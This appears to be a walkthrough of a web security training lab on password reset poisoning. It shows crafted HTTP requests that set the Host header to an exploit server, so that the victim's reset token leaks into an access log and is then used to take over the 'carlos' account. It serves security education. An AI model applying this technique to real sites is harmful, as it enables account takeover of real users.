

# Lab: Basic password reset poisoning

This lab is vulnerable to password reset poisoning. The user `carlos` will carelessly click on any links in emails that he receives. To solve the lab, log in to Carlos's account.

You can log in to your own account using the following credentials: `wiener:peter`. Any emails sent to this account can be read via the email client on the exploit server.

Go to the login page and notice the "Forgot your password?" functionality. Request a password reset for your own account.

Please follow the link below to reset your password.

<https://0afb008003ae684dc008a9f300f900df.web-security-academy.net/forgot-password?temp-forgot-password-token=QznH5kWg4aM0cHQ0SVM0hoqHHC4bNQDU> View raw

Go to the exploit server and open the email client. Observe that you have received an email containing a link to reset your password. Notice that the URL contains the query parameter `temp-forgot-password-token`.

```
https://0afb008003ae684dc008... GET /forgot-password?temp-forgot-password-token=QznH5kWg4aM0cHQ0SVM0hoqHHC4bNQDU ✓
```

Click the link and observe that you are prompted to enter a new password. Reset your password to whatever you want.

In Burp, study the HTTP history. Notice that the `POST /forgot-password` request is used to trigger the password reset email. This contains the username whose password is being reset as a body parameter. Send this request to Burp Repeater.

```
https://0afb008003ae684dc008... POST /forgot-password
```

In Burp Repeater, observe that you can change the Host header to an arbitrary value and still successfully trigger a password reset. Go back to the email server and look at the new email that you've received. Notice that the URL in the email contains your arbitrary Host header instead of the usual domain name.

**Request**

	Pretty	Raw	Hex
1	POST /forgot-password HTTP/1.1		
2	Host: arbitraryheaderhere.net		
3	Cookie: _lab=46%7cMCwCFA%2bBcYcLxKTxJISoUgWMqky26bz2AhC%2bd1E0T7HvuiPG8oAeH%2bKApXT0XUt5VG8iPKUA%		

**Response**

	Pretty	Raw	Hex	Render
1	HTTP/1.1 200 OK			
2	Content-Type: text/html; charset=			
3	Connection: close			
4	Content-Length: 2753			

Back in Burp Repeater, change the Host header to your exploit server's domain name (`your-exploit-server-id.web-security-academy.net`) and change the `username` parameter to `carlos`. Send the request.

**Request**

```

Pretty  Raw  Hex
1 POST /forgot-password HTTP/1.1
2 Host: exploit-0ad00083033c68a4c002a92e017a000b.web-security-academy.net/
3 Cookie: _lab=
  46%7cMCwCFA%2bBcYcLxKTxJISoUgWMqky26bz2AhQpUH4efY9Zmaj4gK6Cm4D5cLs2K9F6vUQp4SNE 03%2b4THMMPrrαGsb0QJq
  %2bd1E 0T7HvuiPG8oAeH%2bKApXT0XUt5VG8iPKUA%2bntUf2xfQDI%3d; session=3LKdSkq0qKUWX690aCoKsUZ59II2iUMII1
4 Content-Length: 53
5 Cache-Control: max-age=0
6 Sec-Ch-Ua: "Chromium";v="103", ".Not/A)Brand";v="99"
7 Sec-Ch-Ua-Mobile: ?0
8 Sec-Ch-Ua-Platform: "Windows"
9 Upgrade-Insecure-Requests: 1
10 Origin: https://0afb008003ae684dc008a9f300f900df.web-security-academy.net
11 Content-Type: application/x-www-form-urlencoded
12 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/
13 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,app
14 Sec-Fetch-Site: same-origin
15 Sec-Fetch-Mode: navigate
16 Sec-Fetch-User: ?1
17 Sec-Fetch-Dest: document
18 Referer: https://0afb008003ae684dc008a9f300f900df.web-security-academy.net/forgot-password
19 Accept-Encoding: gzip, deflate
20 Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
21 Connection: close
22
23 csrf=1H5ViX6PYUb6TW8InU8AL2E 0x59SD67P&username=carlos

```

Go to your exploit server and open the access log. You will see a request for `GET /forgot-password` with the `temp-forgot-password-token` parameter containing Carlos's password reset token. Make a note of this token.

```

10.0.3.104      2022-09-06 20:28:56 +0000 "GET //forgot-password?temp-forgot-password-token=LXaetPCk6gPh0yHoF9TW11A8BgQ7rSGc#
86.15.98.213   2022-09-06 20:29:36 +0000 "POST / HTTP/1.1" 302 "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWk

```

Go to your email client and copy the genuine password reset URL from your first email. Visit this URL in the browser, but replace your reset token with the one you obtained from the access log.

```

0afb008003ae684dc008a9f300f900df.web-security-academy.net/forgot-password?temp-forgot-password-token=LXaetPCk6gPh0yHoF9TW11A8BgQ7rSGc#

```

`https://0afb008003ae684dc008a9f300f900df.web-security-academy.net/forgot-password?temp-forgot-password-token=LXaetPCk6gPh0yHoF9TW11A8BgQ7rSGc#`

Change Carlos's password to whatever you want, then log in as `carlos` to solve the lab.

Your username is: `carlos`

Your email is: `carlos@carlos-montoya.net`

**Congratulations, you solved the lab!**

## Workflow Diagram

